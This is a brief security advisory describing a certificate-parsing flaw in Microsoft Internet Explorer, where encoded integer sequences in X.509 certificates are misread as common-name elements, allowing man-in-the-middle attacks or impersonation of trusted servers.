Microsoft Internet Explorer is a browser available for Microsoft Windows.
Internet Explorer is prone to multiple security-bypass vulnerabilities because it fails to properly handle encoded values in X.509 certificates. Specifically, it fails to properly distinguish integer sequences that are then recognized as CN (common name) elements.
Successful exploits allow attackers to perform man-in-the-middle attacks or impersonate trusted servers, which will aid in further attacks.
